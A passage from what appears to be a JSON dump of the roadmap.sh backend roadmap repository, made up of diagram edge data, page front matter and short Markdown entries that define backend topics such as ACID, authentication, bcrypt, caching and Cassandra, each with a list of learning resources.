\"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"EwvLPSI6AlZ4TnNIJTZA4\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"UFd8PEg6IwJMXvuv8Ow1f\",\n      \"targetHandle\": \"y1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"selected\": false,\n      \"focusable\": true,\n      \"id\": \"reactflow__edge-EwvLPSI6AlZ4TnNIJTZA4z2-UFd8PEg6IwJMXvuv8Ow1fy1\"\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"SHmbcMRsc3SygEDksJQBD\",\n      \"sourceHandle\": \"x2\",\n      \"target\": \"Uhj-lrUhQQnwOdn_e6_hd\",\n      \"targetHandle\": \"w2\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-SHmbcMRsc3SygEDksJQBDx2-Uhj-lrUhQQnwOdn_e6_hdw2\",\n      \"selected\": false,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"yAWJWj4D761M0i8iERID3\",\n      \"sourceHandle\": \"x2\",\n      \"target\": \"sVXZrBCsiSzWBBYWTm-nQ\",\n      \"targetHandle\": \"y1\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"selected\": false,\n      \"id\": \"reactflow__edge-yAWJWj4D761M0i8iERID3x2-sVXZrBCsiSzWBBYWTm-nQy1\",\n      \"type\": \"step\",\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"NvUcSDWBhzJZ31nzT4UlE\",\n      \"sourceHandle\": \"x2\",\n      \"target\": \"Ry_5Y-BK7HrkIc6X0JG1m\",\n      \"targetHandle\": \"w1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-NvUcSDWBhzJZ31nzT4UlEx2-Ry_5Y-BK7HrkIc6X0JG1mw1\",\n      \"selected\": false\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"NvUcSDWBhzJZ31nzT4UlE\",\n      \"sourceHandle\": \"w2\",\n      \"target\": \"Wcp-VDdFHipwa7hNAp1z_\",\n      \"targetHandle\": \"x1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-NvUcSDWBhzJZ31nzT4UlEw2-Wcp-VDdFHipwa7hNAp1z_x1\",\n      \"selected\": false\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"LJt27onEOeIBomiEMTyKd\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"ZsZvStCvKwFhlBYe9HGhl\",\n      \"targetHandle\": \"y1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-LJt27onEOeIBomiEMTyKdz2-ZsZvStCvKwFhlBYe9HGhly1\",\n      \"selected\": false\n    }\n  ]\n}"
  },
  {
    "path": "src/data/roadmaps/backend/backend.md",
    "content": "---\nrenderer: 'editor'\njsonUrl: '/jsons/roadmaps/backend.json'\npdfUrl: '/pdfs/roadmaps/backend.pdf'\norder: 2\nbriefTitle: 'Backend'\nbriefDescription: 'Step by step guide to becoming a backend developer in 2025'\ntitle: 'Backend Developer'\ndescription: 'Step by step guide to becoming a modern backend developer in 2025'\nhasTopics: true\nisForkable: false\ncourses:\n  - title: 'Complete Course to Master SQL'\n    description: 'Learn SQL from scratch with this comprehensive course'\n    link: 'https://roadmap.sh/courses/sql'\n    features:\n      - '55+ Lessons'\n      - 'AI Tutor'\n      - 'Coding Environment'\n      - 'Quizzes'\n      - 'Certification'\n    instructor:\n      name: 'Kamran Ahmed'\n      image: 'https://github.com/kamranahmedse.png'\n      title: 'Founder - roadmap.sh'\npartner:\n  description: \"Get the latest Backend news from our sister site\"\n  link: \"https://thenewstack.io/?utm_source=roadmap.sh&utm_medium=Referral&utm_campaign=Alert\"\n  linkText: \"TheNewStack.io\"\nquestion:\n  title: 'What is Backend Development?'\n  description: |\n    Backend development refers to the server-side aspect of web development, focusing on creating and managing the server logic, databases, and APIs. It involves handling user authentication, authorization, and processing user requests, typically using [backend development languages](https://roadmap.sh/backend/languages) such as Python, Java, Ruby, PHP, JavaScript (Node.js), and .NET.\n\n    ## What does a Backend Developer do?\n    A backend developer focuses on creating and maintaining the server-side components of web applications. They are primarily tasked with developing server-side APIs, handling database operations, and ensuring that the backend can manage high traffic volumes efficiently. Key responsibilities include integrating external services such as payment gateways and cloud services, and enhancing the performance and scalability of systems. This role is crucial for processing and securing data, serving as the backbone that supports frontend developers in delivering a seamless user experience.\ndimensions:\n  width: 968\n  height: 3500\nschema:\n  headline: 'Backend Developer Roadmap: What is Backend Development?'\n  description: 'Learn what backend development is, what backend developers do and how to become one using our community-driven roadmap.'\n  imageUrl: 'https://roadmap.sh/roadmaps/backend.png'\n  datePublished: '2023-01-05'\n  dateModified: '2023-09-16'\nseo:\n  title: 'Backend Developer Roadmap: What is Backend Development'\n  description: 'Learn what backend development is, what backend developers do and how to become one using our community-driven roadmap.'\n  keywords:\n    - 'backend roadmap 2025'\n    - 'backend developer roadmap 2025'\n    - 'guide to becoming a developer'\n    - 'guide to becoming a backend developer'\n    - 'backend roadmap'\n    - 'backend developer'\n    - 'backend engineer'\n    - 'backend skills'\n    - 'backend development'\n    - 'javascript developer'\n    - 'backend development skills'\n    - 'backend development skills test'\n    - 'backend engineer roadmap'\n    - 'backend developer roadmap'\n    - 'become a backend developer'\n    - 'backend developer career path'\n    - 'typescript developer'\n    - 'javascript developer'\n    - 'modern javascript developer'\n    - 'nodejs developer'\n    - 'skills for backend development'\n    - 'learn backend development'\n    - 'what is backend development'\n    - 'backend developer quiz'\n    - 'backend developer interview questions'\nrelatedRoadmaps:\n  - 'frontend'\n  - 'full-stack'\n  - 'system-design'\n  - 'python'\n  - 'devops'\n  - 'javascript'\n  - 'nodejs'\n  - 'postgresql-dba'\nrelatedQuestions:\n  - 'javascript'\nsitemap:\n  priority: 1\n  changefreq: 'monthly'\ntags:\n  - 'roadmap'\n  - 'main-sitemap'\n  - 'role-roadmap'\n---\n"
  },
  {
    "path": "src/data/roadmaps/backend/content/acid@qSAdfaGUfn8mtmDjHJi3z.md",
    "content": "# ACID\n\nACID represents four database transaction properties: Atomicity (all-or-nothing execution), Consistency (valid state maintenance), Isolation (concurrent transaction separation), and Durability (permanent commit survival). These principles ensure reliable data processing and integrity in database systems, crucial for financial and e-commerce applications.\n\nVisit the following resources to learn more:\n\n- [@book@Database System Concepts - Silberschatz, Korth, Sudarshan](https://db-book.com/)\n- [@official@PostgreSQL Tutorial on Transactions](https://www.postgresql.org/docs/current/tutorial-transactions.html)\n- [@article@What is ACID Compliant Database?](https://retool.com/blog/whats-an-acid-compliant-database/)\n- [@article@What is ACID Compliance?: Atomicity, Consistency, Isolation](https://fauna.com/blog/what-is-acid-compliance-atomicity-consistency-isolation)\n- [@article@A Beginner's Guide to ACID and Database Transactions](https://vladmihalcea.com/a-beginners-guide-to-acid-and-database-transactions/)\n- [@video@ACID Explained: Atomic, Consistent, Isolated & Durable](https://www.youtube.com/watch?v=yaQ5YMWkxq4)\n- [@video@ACID Transactions (Explained by Example)](https://www.youtube.com/watch?v=pomxJOFVcQs)"
  },
  {
    "path": "src/data/roadmaps/backend/content/agents@w1D3-bSg93ndKK9XJTu7z.md",
    "content": "# AI Agents\n\nAI agents are autonomous programs designed to help developers write code more efficiently. These agents can automate repetitive tasks, suggest code completions, identify errors, and even generate entire code blocks based on natural language descriptions or existing code patterns. They leverage machine learning models to understand code syntax, semantics, and context, enabling them to provide intelligent and relevant assistance throughout the software development lifecycle.\n\nVisit the following resources to learn more:\n\n- [@roadmap@Visit the Dedicated AI Agents Roadmap](https://roadmap.sh/ai-agents)\n- [@article@What are AI Agents? - IBM](https://www.ibm.com/think/topics/ai-agents)\n- [@article@AI Agents Explained in Simple Terms for Beginners](https://www.geeky-gadgets.com/ai-agents-explained-for-beginners/)\n- [@video@What are AI Agents?](https://www.youtube.com/watch?v=F8NKVhkZZWI)\n- [@video@From Zero to Your First AI Agent in 25 Minutes (No Coding)](https://www.youtube.com/watch?v=EH5jx5qPabU)\n- [@video@AI Agents, Clearly Explained](https://www.youtube.com/watch?v=FwOTs4UxQS4)"
  },
  {
    "path": "src/data/roadmaps/backend/content/ai-assisted-coding@fA3yi9puMbTFmbPpo6OjN.md",
    "content": "# AI-Assisted Coding\n\nAI-assisted coding involves using artificial intelligence tools to help developers write code more efficiently and effectively. These tools can provide real-time suggestions, automate repetitive tasks, identify potential errors, and even generate code snippets based on natural language descriptions, ultimately speeding up development and improving code quality.\n\nVisit the following resources to learn more:\n\n- [@book@AI-Assisted Programming](https://www.hkdca.com/wp-content/uploads/2025/06/ai-assisted-programming-oreilly.pdf)\n- [@article@How to Become an Expert in AI-Assisted Coding – A Handbook for Developers](https://www.freecodecamp.org/news/how-to-become-an-expert-in-ai-assisted-coding-a-handbook-for-developers/)\n- [@article@Best Practices I Learned for AI Assisted Coding](https://statistician-in-stilettos.medium.com/best-practices-i-learned-for-ai-assisted-coding-70ff7359d403)\n- [@video@How to elevate software development with AI-assisted coding](https://www.youtube.com/watch?v=S2GqQ4gJAH0)\n- [@video@Everything You Need to Know About Coding with AI // NOT vibe coding](https://www.youtube.com/watch?v=5fhcklZe-qE)\n- [@video@What Is Vibe Coding? Building Software with Agentic AI](https://www.youtube.com/watch?v=Y68FF_nUSWE)"
  },
  {
    "path": "src/data/roadmaps/backend/content/ai-vs-traditional-coding@IZKl6PxbvgNkryAkdy3-p.md",
    "content": "# AI vs. Traditional Software Development\n\nTraditional software development relies on developers explicitly writing code to instruct computers on how to perform tasks. This involves defining every step and logic manually. AI-assisted coding, however, leverages machine learning models trained on vast amounts of code to automate parts of the development process. Instead of writing all the code from scratch, developers can use AI to generate code snippets, suggest improvements, and even debug errors, potentially leading to faster development cycles and reduced human error.\n\nVisit the following resources to learn more:\n\n- [@article@What is vibe coding?](https://www.ibm.com/think/topics/vibe-coding)\n- [@article@Unlocking the value of AI in software development](https://www.mckinsey.com/industries/technology-media-and-telecommunications/our-insights/unlocking-the-value-of-ai-in-software-development)\n- [@article@How AI is transforming work at Anthropic](https://www.anthropic.com/research/how-ai-is-transforming-work-at-anthropic)\n- [@video@AI Systems vs Traditional Coding](https://www.youtube.com/watch?v=P7lryCIvxgA)\n- [@video@Vibe Coding Fundamentals In 33 minutes](https://www.youtube.com/watch?v=iLCDSY2XX7E)\n- [@video@What is Vibe Coding?](https://www.youtube.com/watch?v=5OWurmg41tI)"
  },
  {
    "path": "src/data/roadmaps/backend/content/ai-vs-traditional-techniques@IZKl6PxbvgNkryAkdy3-p.md",
    "content": "# AI vs. Traditional Software Development\n\nTraditional software development relies on developers explicitly writing code to instruct computers on how to perform tasks. This involves defining every step and logic manually. AI-assisted coding, however, leverages machine learning models trained on vast amounts of code to automate parts of the development process. Instead of writing all the code from scratch, developers can use AI to generate code snippets, suggest improvements, and even debug errors, potentially leading to faster development cycles and reduced human error.\n\nVisit the following resources to learn more:\n\n- [@article@What is vibe coding?](https://www.ibm.com/think/topics/vibe-coding)\n- [@article@Unlocking the value of AI in software development](https://www.mckinsey.com/industries/technology-media-and-telecommunications/our-insights/unlocking-the-value-of-ai-in-software-development)\n- [@article@How AI is transforming work at Anthropic](https://www.anthropic.com/research/how-ai-is-transforming-work-at-anthropic)\n- [@video@AI Systems vs Traditional Coding](https://www.youtube.com/watch?v=P7lryCIvxgA)\n- [@video@Vibe Coding Fundamentals In 33 minutes](https://www.youtube.com/watch?v=iLCDSY2XX7E)\n- [@video@What is Vibe Coding?](https://www.youtube.com/watch?v=5OWurmg41tI)"
  },
  {
    "path": "src/data/roadmaps/backend/content/anthropic@Lw2nR7x8PYgq1P5CxPAxi.md",
    "content": "# Anthropic\n\nAnthropic is an AI safety and research company focused on developing reliable, interpretable, and steerable AI systems. They create AI models, like Claude, that are designed to be helpful, harmless, and honest, prioritizing safety through techniques like Constitutional AI, where the AI is guided by a set of principles during its training and operation. They can be integrated via APIs to add functionality to applications.\n\nVisit the following resources to learn more:\n\n- [@official@Antropic](https://www.anthropic.com/)\n- [@official@Antropic Academy](https://www.anthropic.com/)\n- [@official@Antropic Tutorial](https://claude.com/resources/tutorials)\n- [@article@Anthropic: What We Know About the Company Behind Claude AI](https://builtin.com/articles/anthropic)"
  },
  {
    "path": "src/data/roadmaps/backend/content/antigravity@E7-LveK7jO2npxVTLUDfw.md",
    "content": "# Antigravity\n\nAntigravity is an AI-powered code completion tool designed to enhance developer productivity. It learns from your coding style and project context to provide intelligent suggestions, autocompletions, and code generation snippets directly within your integrated development environment (IDE). This allows developers to write code faster and more efficiently, reducing errors and streamlining the development process.\n\nVisit the following resources to learn more:\n\n- [@official@Google Antigravity](https://antigravity.google/)\n- [@official@Getting Started with Google Antigravity](https://codelabs.developers.google.com/getting-started-google-antigravity#0)\n- [@article@Hands-On With Antigravity: Google’s Newest AI Coding Experiment](https://thenewstack.io/hands-on-with-antigravity-googles-newest-ai-coding-experiment/)\n- [@video@Welcome to Google Antigravity 🚀](https://www.youtube.com/watch?v=SVCBA-pBgt0)\n- [@video@Antigravity + Stitch MCP: AI Agents That Build Complete Websites](https://www.youtube.com/watch?v=7wa4Ey_tCCE)"
  },
  {
    "path": "src/data/roadmaps/backend/content/apache@jjjonHTHHo-NiAf6p9xPv.md",
    "content": "# Apache\n\nApache HTTP Server is a popular open-source web server known for flexibility and extensive features. It supports multiple OS platforms, offers virtual hosting, SSL/TLS, and modular architecture. Part of the LAMP stack, it remains widely used despite competition from Nginx due to stability and community support.\n\nVisit the following resources to learn more:\n\n- [@official@Apache Server](https://httpd.apache.org/)\n- [@official@Apache Server Documentation](https://httpd.apache.org/docs/2.4/)\n- [@video@What is Apache Web Server?](https://www.youtube.com/watch?v=kaaenHXO4t4)\n- [@video@Apache vs NGINX](https://www.youtube.com/watch?v=9nyiY-psbMs)\n- [@feed@Explore top posts about Apache](https://app.daily.dev/tags/apache?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/backend/content/applications@Nx7mjvYgqLpmJ0_iSx5of.md",
    "content": "# AI Applications in Software Development\n\nAI is increasingly utilized to enhance various software development tasks, like automatically creating code snippets based on specifications. It also improves existing code by suggesting better ways to rewrite it and by generating helpful documentation from the code itself. These AI tools promise to increase efficiency and reduce errors.\n\nVisit the following resources to learn more:\n\n- [@article@AI in software development](https://www.ibm.com/think/topics/ai-in-software-development)\n- [@article@AI in software development: How to use it, benefits, and key trends](https://appfire.com/resources/blog/ai-in-software-development)\n- [@article@AI-Assisted Software Development: A Comprehensive Guide with Practical Prompts (Part 1/3)](https://aalapdavjekar.medium.com/ai-assisted-software-development-a-comprehensive-guide-with-practical-prompts-part-1-3-989a529908e0)"
  },
  {
    "path": "src/data/roadmaps/backend/content/architectural-patterns@tHiUpG9LN35E5RaHddMv5.md",
    "content": "# Architectural Patterns\n\nArchitectural patterns are reusable solutions to common software architecture problems. They address issues like performance limitations, high availability, and business risk minimization, providing proven templates for system design and structure.\n\nVisit the following resources to learn more:\n\n- [@article@14 Architectural Patterns to know - Red Hat](https://www.redhat.com/architect/14-software-architecture-patterns)\n- [@article@10 Common Software Architectural Patterns in a nutshell](https://towardsdatascience.com/10-common-software-architectural-patterns-in-a-nutshell-a0b47a1e9013)\n- [@article@Software Architecture Patterns - O'Reilly](https://www.oreilly.com/library/view/software-architecture-patterns/9781491971437/)\n- [@video@Software Architecture | Architectural patterns](https://www.youtube.com/watch?v=BrT3AO8bVQY)\n- [@video@10 Architecture Patterns Used In Enterprise Software Development Today](https://www.youtube.com/watch?v=BrT3AO8bVQY)"
  },
  {
    "path": "src/data/roadmaps/backend/content/authentication@PY9G7KQy8bF6eIdr1ydHf.md",
    "content": "# Authentication\n\nAPI authentication verifies client identity to ensure only authorized access to resources. Common methods include API keys, OAuth 2.0, JWT, and basic auth. It protects data, prevents unauthorized access, enables usage tracking, and provides granular control over API resources.\n\nVisit the following resources to learn more:\n\n- [@article@Basic Authentication](https://roadmap.sh/guides/basic-authentication)\n- [@article@Session Based Authentication](https://roadmap.sh/guides/session-based-authentication)\n- [@article@Token Based Authentication](https://roadmap.sh/guides/token-authentication)\n- [@article@JWT Authentication](https://roadmap.sh/guides/jwt-authentication)\n- [@article@OAuth - Open Authorization](https://roadmap.sh/guides/oauth)\n- [@article@SSO - Single Sign On](https://roadmap.sh/guides/sso)\n- [@feed@Explore top posts about Authentication](https://app.daily.dev/tags/authentication?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/backend/content/aws-neptune@5xy66yQrz1P1w7n6PcAFq.md",
    "content": "# AWS Neptune\n\nAWS Neptune is a fully managed graph database supporting property graph and RDF models. Uses Gremlin and SPARQL query languages for complex relationships in social networks, recommendations, and fraud detection. Offers high availability, multi-AZ replication, and up to 15 read replicas.\n\nVisit the following resources to learn more:\n\n- [@official@AWS Neptune](https://aws.amazon.com/neptune/)\n- [@article@Setting Up Amazon Neptune Graph Database](https://cliffordedsouza.medium.com/setting-up-amazon-neptune-graph-database-2b73512a7388)\n- [@video@Getting Started with Neptune Serverless](https://www.youtube.com/watch?v=b04-jjM9t4g)"
  },
  {
    "path": "src/data/roadmaps/backend/content/backpressure@JansCqGDyXecQkD1K7E7e.md",
    "content": "# Backpressure\n\nBackpressure is a flow control mechanism where receivers signal their capacity to senders, preventing system overload. It manages resource allocation, prevents memory overflows, and maintains responsiveness in reactive programming, message queues, and streaming systems.\n\nVisit the following resources to learn more:\n\n- [@article@Awesome Architecture: Backpressure](https://awesome-architecture.com/back-pressure/)\n- [@article@Backpressure explained — the flow of data through software](https://medium.com/@jayphelps/backpressure-explained-the-flow-of-data-through-software-2350b3e77ce7)\n- [@article@Handling Backpressure in Node.js Streams](https://nodejs.org/en/docs/guides/backpressuring-in-streams)\n- [@video@What is Back Pressure](https://www.youtube.com/watch?v=viTGm_cV7lE)\n- [@video@Backpressure in Reactive Systems Explained](https://www.youtube.com/watch?v=Yb5OzHv-E6s)"
  },
  {
    "path": "src/data/roadmaps/backend/content/base@QZwTLOvjUTaSb_9deuxsR.md",
    "content": "# Base\n\nOracle Base Database Service provides database systems on virtual machines in Oracle Cloud Infrastructure. Offers single-node and multi-node RAC systems with full control over data. Manageable through OCI Console, APIs, CLI, DBCLI, Enterprise Manager, or SQL Developer.\n\nLearn more from the following resources:\n\n- [@official@Base Database Documentation](https://docs.oracle.com/en-us/iaas/base-database/index.html)\n"
  },
  {
    "path": "src/data/roadmaps/backend/content/basic-authentication@yRiJgjjv2s1uV9vgo3n8m.md",
    "content": "# Basic authentication\n\nBasic Authentication sends base64-encoded username:password in HTTP headers. Simple to implement but insecure since base64 is easily decoded. Should only be used over HTTPS for credential protection. Best for low-risk scenarios or fallback mechanisms.\n\nVisit the following resources to learn more:\n\n- [@article@HTTP Basic Authentication](https://roadmap.sh/guides/http-basic-authentication)\n- [@video@Basic Authentication in 5 minutes](https://www.youtube.com/watch?v=rhi1eIjSbvk)\n- [@video@Illustrated HTTP Basic Authentication](https://www.youtube.com/watch?v=mwccHwUn7Gc)\n- [@feed@Explore top posts about Authentication](https://app.daily.dev/tags/authentication?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/backend/content/bcrypt@dlG1bVkDmjI3PEGpkm1xH.md",
    "content": "# Bcrypt\n\nBcrypt is a secure password-hashing function based on Blowfish cipher with built-in salt protection. Features adaptive cost factor that increases difficulty over time to resist brute-force attacks. Produces 60-character hashes, widely used for secure password storage.\n\nVisit the following resources to learn more:\n\n- [@opensource@bcrypt for Node.js](https://github.com/kelektiv/node.bcrypt.js)\n- [@article@Understanding bcrypt](https://auth0.com/blog/hashing-in-action-understanding-bcrypt/)\n- [@article@Password Hashing: Bcrypt, Scrypt and Argon2](https://stytch.com/blog/argon2-vs-bcrypt-vs-scrypt/)\n- [@article@Why you should use BCrypt to hash passwords](https://www.freecodecamp.org/news/why-you-should-use-bcrypt-to-hash-passwords/)\n- [@video@Bcrypt Explained](https://www.youtube.com/watch?v=O6cmuiTBZVs)\n- [@video@How To Store A Password](https://www.youtube.com/watch?v=8ZtInClXe1Q)\n- [@video@bcrypt explained](https://www.youtube.com/watch?v=AzA_LTDoFqY)"
  },
  {
    "path": "src/data/roadmaps/backend/content/bitbucket@Ry_5Y-BK7HrkIc6X0JG1m.md",
    "content": "# Bitbucket\n\nBitbucket is Atlassian's Git-based repository hosting service offering cloud and self-hosted options. Features pull requests, branch permissions, and code review tools. Integrates with Jira and Trello, includes CI/CD pipelines, and provides unlimited private repos for small teams.\n\nVisit the following resources to learn more:\n\n- [@official@Bitbucket](https://bitbucket.org/product)\n- [@official@Overview of Bitbucket](https://bitbucket.org/product/guides/getting-started/overview#a-brief-overview-of-bitbucket)\n- [@article@Using Git with Bitbucket Cloud](https://www.atlassian.com/git/tutorials/learn-git-with-bitbucket-cloud)\n- [@video@Bitbucket tutorial | How to use Bitbucket Cloud](https://www.youtube.com/watch?v=M44nEyd_5To)\n- [@feed@Explore top posts about Bitbucket](https://app.daily.dev/tags/bitbucket?ref=roadmapsh)\n"
  },
  {
    "path": "src/data/roadmaps/backend/content/browsers-and-how-they-work@P82WFaTPgQEPNp5IIuZ1Y.md",
    "content": "# Browsers\n\nWeb browsers interpret HTML, CSS, and JavaScript to render web pages. Modern browsers use rendering engines (Blink, Gecko, WebKit) and JavaScript engines, offering features like tabs, bookmarks, extensions, and security through sandboxing and HTTPS enforcement.\n\nVisit the following resources to learn more:\n\n- [@article@How Browsers Work](https://www.ramotion.com/blog/what-is-web-browser/)\n- [@article@Populating the Page: How Browsers Work](https://developer.mozilla.org/en-US/docs/Web/Performance/How_browsers_work)\n- [@video@How Do Web Browsers Work?](https://www.youtube.com/watch?v=5rLFYtXHo9s)\n- [@feed@Explore top posts about Browsers](https://app.daily.dev/tags/browsers?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/backend/content/building-for-scale@SHmbcMRsc3SygEDksJQBD.md",
    "content": "# Building for Scale\n\nScalability is a system's ability to handle growing workload by adding resources. Scalable architecture supports higher workloads without fundamental changes. Two approaches: on-premises (requires planning) or cloud (flexible, easy upgrades). Cloud offers more flexibility than on-premises infrastructure.\n\nVisit the following resources to learn more:\n\n- [@article@Scalable Architecture: A Definition and How-To Guide](https://www.sentinelone.com/blog/scalable-architecture/)\n- [@video@Scaling Distributed Systems - Software Architecture Introduction](https://www.youtube.com/watch?v=gxfERVP18-g)"
  },
  {
    "path": "src/data/roadmaps/backend/content/c@rImbMHLLfJwjf3l25vBkc.md",
    "content": "# C#\n\nC# is Microsoft's modern, object-oriented language combining C++ power with Visual Basic simplicity. Used for Windows apps, [ASP.NET](http://ASP.NET) web development, Unity games, and Xamarin mobile apps. Features garbage collection, type safety, and strong .NET ecosystem integration.\n\nVisit the following resources to learn more:\n\n- [@course@C# Learning Path](https://docs.microsoft.com/en-us/learn/paths/csharp-first-steps/?WT.mc_id=dotnet-35129-website)\n- [@official@C# Tour](https://learn.microsoft.com/en-us/dotnet/csharp/tour-of-csharp/)\n- [@video@Learn C# Programming – Full Course with Mini-Projects](https://www.youtube.com/watch?v=YrtFtdTTfv0)\n- [@feed@Explore top posts about C#](https://app.daily.dev/tags/csharp?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/backend/content/caching@ELj8af7Mi38kUbaPJfCUR.md",
    "content": "# Caching\n\nCaching stores frequently accessed data in faster locations to improve performance by reducing latency and server load. It operates at browser, application, and database levels using strategies like LRU and time-based expiration. Balances speed gains with data consistency challenges.\n\nVisit the following resources to learn more:\n\n- [@article@What is Caching - AWS](https://aws.amazon.com/caching/)\n- [@article@Caching - Cloudflare](https://www.cloudflare.com/learning/cdn/what-is-caching/)\n- [@article@Caching Strategies and How to Choose the Right One](https://codeahoy.com/2017/08/11/caching-strategies-and-how-to-choose-the-right-one/)\n- [@article@Top Caching Strategies Explained](https://blog.bytebytego.com/p/top-caching-strategies)\n- [@video@Cache Systems Every Developer Should Know](https://www.youtube.com/watch?v=dGAgxozNWFE)\n- [@video@Caching Complete Tutorial for Beginners](https://www.youtube.com/watch?v=1XJG34mewts)\n- [@course@Redis University - Introduction to Redis Data Structures](https://redis.io/university/courses/ru101/)\n"
  },
  {
    "path": "src/data/roadmaps/backend/content/caching@uPjCrDGA2MHylWXbZvMBM.md",
    "content": "# Caching\n\nCaching is a technique used to store copies of data in a temporary storage location so that future requests for that data can be served faster. This temporary storage, known as a cache, can be located closer to the request source than the original data source, reducing latency and improving application performance. By retrieving data from the cache instead of the original source, applications can respond more quickly and efficiently.\n\nVisit the following resources to learn more:\n\n- [@course@Redis University - Introduction to Redis Data Structures](https://redis.io/university/courses/ru101/)\n- [@article@Caching Overview](https://aws.amazon.com/caching/)\n- [@article@What is caching?](https://www.cloudflare.com/en-gb/learning/cdn/what-is-caching/)\n- [@article@Caching Strategies and How to Choose the Right One](https://codeahoy.com/2017/08/11/caching-strategies-and-how-to-choose-the-right-one/)\n- [@article@Top Caching Strategies Explained](https://blog.bytebytego.com/p/top-caching-strategies)\n- [@video@Caching Complete Tutorial for Beginners](https://www.youtube.com/watch?v=1XJG34mewts)\n- [@video@Cache Systems Every Developer Should Know](https://www.youtube.com/watch?v=dGAgxozNWFE)"
  },
  {
    "path": "src/data/roadmaps/backend/content/caddy@Op-PSPNoyj6Ss9CS09AXh.md",
    "content": "# Caddy\n\nCaddy is a modern Go-based web server known for simplicity and automatic HTTPS with Let's Encrypt certificates. Features zero-config static file serving, HTTP/2 support, and plugins for reverse proxying and load balancing. Ideal for small-to-medium projects requiring hassle-free setup.\n\nVisit the following resources to learn more:\n\n- [@official@Caddy Server](https://caddyserver.com/)\n- [@opensource@caddyserver/caddy - Caddy on GitHub](https://github.com/caddyserver/caddy)\n- [@video@How to Make a Simple Caddy 2 Website](https://www.youtube.com/watch?v=WgUV_BlHvj0)"
  },
  {
    "path": "src/data/roadmaps/backend/content/cap-theorem@LAdKDJ4LcMaDWqslMvE8X.md",
    "content": "# CAP Theorem\n\nCAP Theorem states distributed systems can only guarantee two of three properties: Consistency (same data across nodes), Availability (system responds to requests), and Partition tolerance (operates despite network failures). Guides distributed system design decisions and database selection.\n\nVisit the following resources to learn more:\n\n- [@article@What is CAP Theorem?](https://www.bmc.com/blogs/cap-theorem/)\n- [@article@An Illustrated Proof of the CAP Theorem](https://mwhittaker.github.io/blog/an_illustrated_proof_of_the_cap_theorem/)\n- [@article@Perspectives on the CAP Theorem](https://github.com/user-attachments/files/18232157/Brewer2.pdf)\n- [@article@CAP Theorem and its applications in NoSQL Databases](https://www.ibm.com/uk-en/cloud/learn/cap-theorem)\n- [@video@What is CAP Theorem?](https://www.youtube.com/watch?v=_RbsFXWRZ10)"
  },
  {
    "path": "src/data/roadmaps/backend/content/cassandra@gT6-z2vhdIQDzmR2K1g1U.md",
    "content": "# Cassandra\n\nApache Cassandra is a highly scalable, distributed NoSQL database with masterless ring architecture and no single point of failure. Excels in write-heavy environments with high throughput and low latency. Uses wide column store model, ideal for big data applications.\n\nVisit the following resources to learn more:\n\n- [@official@Apache Cassandra](https://cassandra.apache.org/_/index.html)\n- [@article@Cassandra - Quick Guide](https://www.tutorialspoint.com/cassandra/cassandra_quick_guide.htm)\n- [@video@Apache Cassandra - Course for Beginners](https://www.youtube.com/watch?v=J-cSy5MeMOA)\n- [@feed@Explore top posts about Backend Development](https://app.daily.dev/tags/backend?ref=roadmapsh)\n"
  },
  {
    "path": "src/data/roadmaps/backend/content/cassandra@zsiZLWJ2bMvrjuHch5fX_.md",
    "content": "# Cassandra\n\nCassandra is a NoSQL database designed for handling large amounts of data across many commodity servers, providing high availability with no single point of failure. It uses a distributed architecture to achieve scalability and fault tolerance, making it suitable for applications that require continuous uptime and can tolerate eventual consistency. Data is organized into tables with rows and columns, similar to relational databases, but with a more flexible schema.\n\nVisit the following resources to learn more:\n\n- [@official@Cassandra](https://cassandra.apache.org/_/index.html)\n- [@article@Cassandra - Quick Guide](https://www.tutorialspoint.com/cassandra/cassandra_quick_guide.htm)\n- [@video@Apache Cassandra Database – Full Course for Beginners](https://www.youtube.com/watch?v=J-cSy5MeMOA)"
  },
  {
    "path": "src/data/roadmaps/backend/content/cdn@Nq2BO53bHJdFT1rGZPjYx.md",
